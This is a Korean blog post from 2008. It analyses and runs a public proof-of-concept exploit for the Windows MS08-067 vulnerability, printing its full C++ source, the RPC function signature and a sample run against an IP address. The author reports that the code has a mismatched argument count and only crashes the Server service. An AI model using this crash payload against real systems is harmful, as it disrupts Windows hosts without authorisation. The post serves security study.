태터데스크 관리자

도움말
닫기
적용하기   첫페이지 만들기

태터데스크 메시지

저장하였습니다.

ms08-067 소스 분석 및 실행(2008/10/23)

ⓤ System 2008.10.27 09:30


2008/10/23일자 익스플로잇에 대한 분석입니다.
서버서비스만 죽이는 것 같네요.

*******************************************************************************

이 소스코드 문제가 있는 것 같네요..ㅡㅡ;

srvsvc.idl에 정의된 _NetprPathCanonicalize 함수가 srvsvc_killer.cpp에서 호출될 때

함수 argument 개수가 맞지 않네요

소스 수정 후 실행해도 NdrClientCall2 함수에서 에러를 리턴합니다.


*******************************************************************************


milw0rm에 릴리즈된 exploit을 다운로드 받아 압축을 풀어보면

mk.bat
MY_HASH.TXT
srvsvc.idl
srvsvc_killer.cpp
README.TXT

의 파일이 존재합니다.

아래는 exploit의 cpp소스코드입니다.

-------------------------------------------------------------------------------
#include <windows.h>
#include "srvsvc.h"
#include <stdio.h>

extern "C" PVOID __stdcall MIDL_user_allocate(size_t s) { return malloc(s); }
extern "C" VOID __stdcall MIDL_user_free(PVOID p) { free(p); }

int main(int argc, char **argv)
{
  RPC_STATUS status;
  unsigned char *strBind = 0;
  handle_t handle;

  status = RpcStringBindingComposeA(0, // object uuid
 (RPC_CSTR)"ncacn_np", // protseq
 (RPC_CSTR)argv[1], // net addr
 (RPC_CSTR)argv[2], // endpoint
 0,
 &strBind);
  if (status) { printf("%d\n", status); return status; }

  printf("%s\n", strBind);

  status = RpcBindingFromStringBinding(strBind, &handle);
  if (status) { printf("%d\n", status); return status; }

  RpcTryExcept {
    unsigned char x[1000];
    long q = 1;
//    _NetprPathCanonicalize(handle, L"AAA", L"BBB", x, 1000, L"", &q, 0x100);
    _NetprPathCanonicalize(handle, L"AAA", L".\\\\x\\..\\..\\xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", x, 1000, L"", &q, 1);
  } RpcExcept(EXCEPTION_EXECUTE_HANDLER) {
    unsigned long code = RpcExceptionCode();
    printf("WAHAHAH %d %08x\n", code, code);
  } RpcEndExcept

  printf("hi\n");
}
-------------------------------------------------------------------------------

위 소스코드 중 _NetprPathCanonicalize api구조를 보면

-------------------------------------------------------------------------------
long _NetprPathCanonicalize(
   /* [string][unique][in] */ wchar_t __RPC_FAR *arg_1,
   /* [string][in] */ wchar_t __RPC_FAR *arg_2,
   /* [size_is][out] */ unsigned char __RPC_FAR *arg_3,
   /* [range][in] */ long arg_4,
   /* [string][in] */ wchar_t __RPC_FAR *arg_5,
   /* [out][in] */ long __RPC_FAR *arg_6,
   /* [in] */ long arg_7);
-------------------------------------------------------------------------------

와 같습니다.

실행방법은 mk.bat를 실행한후 아래와 같이 입력합니다.

-------------------------------------------------------------------------------
D:\srv\ms08-067>die \\172.21.119.135 \pipe\srvsvc
ncacn_np:\\\\172.21.119.135[\\pipe\\srvsvc]
WAHAHAH 1727 000006bf
hi
-------------------------------------------------------------------------------

Trackbacks 0 : Comments 0

Write a comment